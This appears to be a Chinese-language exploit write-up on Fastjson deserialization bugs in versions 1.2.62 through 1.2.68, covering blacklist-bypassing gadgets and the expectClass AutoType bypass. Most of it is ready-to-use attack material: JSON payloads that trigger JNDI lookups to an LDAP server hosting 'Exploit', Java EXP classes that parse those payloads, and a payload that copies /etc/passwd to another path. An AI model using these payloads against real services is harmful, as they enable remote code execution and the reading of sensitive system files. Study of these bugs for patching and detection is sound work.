0x01 1.2.62反序列化漏洞
前提条件
需要开启AutoType
Fastjson<=1.2.62
JNDI注入利用所受的JDK版本限制
目标服务端需要存在xben-reflect
包;xbean-reflect包的版本不限
pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
|
漏洞原理与EXP
新Gadget绕过黑名单限制。
org.apache.xbean.propertyeditor.JndiConverter
类的toObjectImpl()
函数存在JNDI注入漏洞,可由其构造函数处触发利用。
这里可以到JndiConverter
这个类里面,看到toObjectImpl()
方法确实是存在JNDI漏洞的。
但是这个toObjectImpl()
方法并不是getter/setter
方法,也不是构造函数。
因为我们对JndiConverter
这个类进行反序列化的时候,会自动调用它的构造函数,而它的构造函数里面调用了它的父类。所以我们反序列化的时候不仅能够调用JndiConverter
这个类,还会去调用它的父类AbstractConverter
查找一下哪里调用了toObjectImpl()
正好在AbstractConverter
类中的setter
方法中调用了。
所以payload可以设置成这样
1
2
|
"{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverte\", \"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}
"
|
EXP如下
1
2
3
4
5
6
7
8
9
10
11
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;
public class EXP{
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\","+"\"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}";
JSON.parse(poc);
}
}
|
调试分析
需要开启autoType,如果未开启autoType、未设置expectClass且类名不再内部黑名单中,是不能恶意家在字节码的。
直接在CheckAutoType()
函数上打上断点开始分析,函数位置
com\alibaba\fastjson\parser\ParserConfig.java
相比于之前版本调试分析时看的CheckAutoType()
函数,这里新增了一些代码逻辑,这里大致说下,下面代码是判断是否调用AutoType相关逻辑之前的代码,说明如注解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
if (typeName == null) {
return null;
}
// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
// 单独对expectClass参数进行判断,设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 1.2.43检测,"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 1.2.41检测,"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
// 1.2.42检测,"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;
|
0x02 1.2.66反序列化漏洞
前提条件
- 开启AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
漏洞原理
新Gadget绕过黑名单限制
1.2.66涉及多条Gadget链,原理都是存在JNDI注入漏洞
org.apache.shiro.realm.jndi.JndiRealmFactory
类poc
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
br.com.anteros.dbcp.AnterosDBCPConfig
类poc
1
2
|
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
类poc
1
|
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class EXP_1266 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}
|
0x03 1.2.67反序列化漏洞(黑名单绕过)
前提条件
- 开启AutoType;
- Fastjson <= 1.2.67;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
漏洞原理
新Gadget绕过黑名单限制
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
类Poc
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
org.apache.shiro.jndi.JndiObjectFactory
类Poc
1
|
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
public class EXP_1267 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
}
}
|
0x04 1.2.68反序列化漏洞(expectClass绕过AutoType)
前提条件
Fastjson<=1.2.68
利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
漏洞原理
本次绕过checkAutoType()
函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类来实现绕过checkAutoType()
函数绕过恶意操作。
1、先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()
函数;
2、查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter
方法中存在危险操作则可以被攻击利用;
实际利用
复制文件(任意文件读取漏洞)
利用类org.eclipse.core.internal.localstore.SafeFileOutputStream
1
2
3
4
5
|
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
|
其SafeFileOutputStream(java.lang.String,java.lang.String)
构造函数判断了如果targetPath
文件不存在且tempPath
文件存在,就会把tempPath
复制到targetPath
中,正是利用其构造函数的这个特点来实现Web场景下的任意文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
|
public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";
public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}
this.copy(this.temp, this.target);
}
this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}
public void close() throws IOException {
try {
this.output.close();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}
if (this.failed) {
this.temp.delete();
} else {
this.commit();
}
}
protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}
protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
OutputStream destination = null;
try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
destination.close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}
}
}
}
protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}
this.temp = new File(tempPath);
}
public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException var2) {
IOException e = var2;
this.failed = true;
throw e;
}
}
public String getTempFilePath() {
return this.temp.getAbsolutePath();
}
protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];
while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}
destination.write(buffer, 0, bytesRead);
}
}
public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException var3) {
IOException e = var3;
this.failed = true;
throw e;
}
}
}
|
exp
1
|
{"@type":"java.lang.AutoCloseable","@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream","tempPath":"/etc/passwd","targetPath":"/tmp/flag"}
|